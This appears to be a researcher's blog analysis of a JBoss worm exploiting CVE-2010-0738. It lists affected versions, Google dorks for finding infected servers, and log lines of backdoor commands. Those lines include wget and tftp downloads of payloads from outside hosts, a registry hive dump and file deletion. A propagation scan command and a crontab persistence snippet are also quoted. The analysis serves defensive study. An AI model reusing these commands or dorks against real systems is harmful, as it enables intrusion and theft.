GUERRILA7 has report, the 20 October that a JBoss worm circulate to compromise servers running older version of the JBoss Application Server. The JBoss worm discovered by GUERRILA7 target Windows JBoss installation. CVE-2010-0738, published the 26 April 2010, concern a weakness in the default setup of JMX console (/jmx-console/) access security restrictions. A remote attacker could, without any login and password, execute commands in the JBoss running user context, through crafted GET or POST HTTP requests.
Affected versions were :
- JBoss Application Server (AS) 4.0.x
- JBoss Communications Platform 1.2
- JBoss Enterprise Application Platform (EAP) 4.2, 4.3, 5.0
- JBoss Enterprise Portal Platform (EPP) 4.3
- JBoss Enterprise Web Platform (EWP) 5.0
- JBoss SOA-Platform (SOA-P) 4.2, 4.3, 5.0
By doing some Google dorking, in order to find the original source code of the worm, I found some infected JBoss servers. You can find here under a dorking list how will provide you some of these affected servers.
- “/zecmd/zecmd.jsp?comment=”
- “/idssvc/idssvc.jsp?comment=“
- “/iesvc/iesvc.jsp?comment=“
Most of these dorks are present in JBoss status page and you can see some juicy commands executed through the “comment” parameter, like :
GET /zecmd/zecmd.jsp?comment=perl+lindb.pl HTTP/1.0
GET /idssvc/idssvc.jsp?comment=wget+http://webstats.dyndns.info/javadd.tar.gz HTTP/1.0
GET /iesvc/iesvc.jsp?comment=wget+http://magicstick.dyndns-remote.com/kisses.tar.gz HTTP/1.0
GET /zecmd/zecmd.jsp?comment=cmd+dir HTTP/1.1
GET /zecmd/zecmd.jsp?comment=tftp+-i+93.182.154.67+GET+serv.exe+c:\srve.exe HTTP/1.1
GET /zecmd/zecmd.jsp?comment=cmd+%2Fc+reg+save+HKLM%5CSYSTEM+%5Cwindows%5Ctemp%5Ct1%5C1.bin HTTP/1.1
GET /zecmd/zecmd.jsp?comment=cmd+%2Fc+del+%5Cwindows%5Ctemp%5Ct1%5C*+%5Cinetpub%5Cwwwroot%5Cimages%5Clogo22.gif HTTP/1.1
GET /zecmd/zecmd.jsp?comment=netstat+-nl HTTP/1.1
After some time, I found an affected Linux server how reveal the details of one of the “*.tar.gz” file, in this analysis “javadd.tar.gz“.
“javadd.tar.gz” contain these files :
bm.c / bm.h / pnscan.c / version.c / Makefile / install-sh / ipsort :
These file are part of Pnscan [pnsc] how is a multi-threaded port scanner with an extra capability to send and look for specific strings. These script need a compiler (gcc for Linux) to work. We will explain further how pnsc is used in the worm.
fly.pl : Source code
This file as described by GUERRILA7 is an IRC like script, but the connexions are done in HTTP mode on port 8080/TCP. The version I found contain more C&C servers, but actually all of them are down.
- jboss.dyndns.biz is down.
- webstats.twilightparadox.com point to a 127.0.0.1 IN A 🙂
- weztatso.dyndns-remote.com is down.
- jasuyeifd.dyndns.info is down.
- chillbill.twilightparadox.com is down.
- cents.dyndns-web.com point to a 127.0.0.2 IN A 🙂
- The last C&C entry is more funny : its”.time().”s.dyndns.info. With this kind of entry you have a potential of billions of C&C servers 🙂
Owner of the C&C should have an nickname containing “iseee” to give orders to the remote affected JBoss server.
lindb.pl : Source code
This script will act as the major injection and propagation code. First of all, if the current JBoss running user is root, the script will call “treat.sh” script. I will describe further the usage of this script.
The script will try to compile the “pnscan” script and will then execute the “fly.pl” script. Through the “sudoku” variable (LOL), the script will then execute “pnscan“.
$sudoku="./pnscan -r JBoss -w \"HEAD / HTTP/1.0\\r\\n\\r\\n\" -t 6500 $partx.$party.0.0/16 80 > $fl";
“pnscan” will try to find “JBoss” in the response string after submitting a HTTP HEAD request to random destination IPs in /16 range. All the results are saved into this file :
$fl="/tmp/sess_0088025413980486928597bf$partx";
After the execution of “sudoku“, the script open the results and try to find possible vulnerable targets how have return “JBoss” in response.
Here an attack is attempted by using the following payload (Source code), through another HTTP HEAD request to “/jmx-console/“. The decoded payload is a simple Java JSP backdoor form how allow command execution and result display (Source code).
Depending on the infection script the Java JSP script will be pushed into as “idssvc.war“, “zecmd.war” or “iesvc.war” on the server.
Once infected, the newly infected server will receive the order to execute “lindb.pl” through the Java JSP backdoor.
treat.sh : Source code
This script will be executed by “lindb.pl” and will try to download some additional scripts, not actually available, from some domains also presents in “fly.pl” script. But these downloads are done by a compiled C script, installed in the root directory as “.sysdbs” file and planned to be executed by cron at 01:01 AM the day 10 of the month.
echo '1 1 10 * * /root/.sysdbs' >> /tmp/myc
crontab /tmp/myc
rm /tmp/myc
So normally the 10 November at 01:01 AM the additional script should be downloaded by the actual inactive domains. I have analyze 4 Linux variant of these scripts and all have the same behaviors.